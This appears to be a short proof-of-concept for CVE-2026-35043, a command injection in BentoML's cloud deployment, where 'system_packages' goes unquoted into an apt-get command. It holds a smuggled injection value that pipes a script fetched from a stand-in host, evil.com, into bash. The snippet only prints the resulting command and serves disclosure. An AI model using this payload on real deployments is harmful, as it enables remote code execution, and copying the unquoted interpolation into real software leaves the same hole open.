CVE-2026-35043 BentoML云部署命令注入漏洞

# PoC Demonstration for CVE-2026-35043 # The vulnerability occurs when 'system_packages' is interpolated into a shell command # without proper quoting in deployment.py line 1648. def vulnerable_deployment_command(system_packages): # This mimics the vulnerable f-string interpolation # Line 1648: script_content = f"apt-get install -y {system_packages}" return f"apt-get install -y {system_packages}" # Malicious input designed to break out of the command context # This input attempts to execute a reverse shell or arbitrary command malicious_packages = "vim; curl http://evil.com/pwn.sh | bash; #" # The generated command would be: # apt-get install -y vim; curl http://evil.com/pwn.sh | bash; # # which executes both package installation and the malicious script. generated_script = vulnerable_deployment_command(malicious_packages) print(f"Generated setup.sh content: {generated_script}")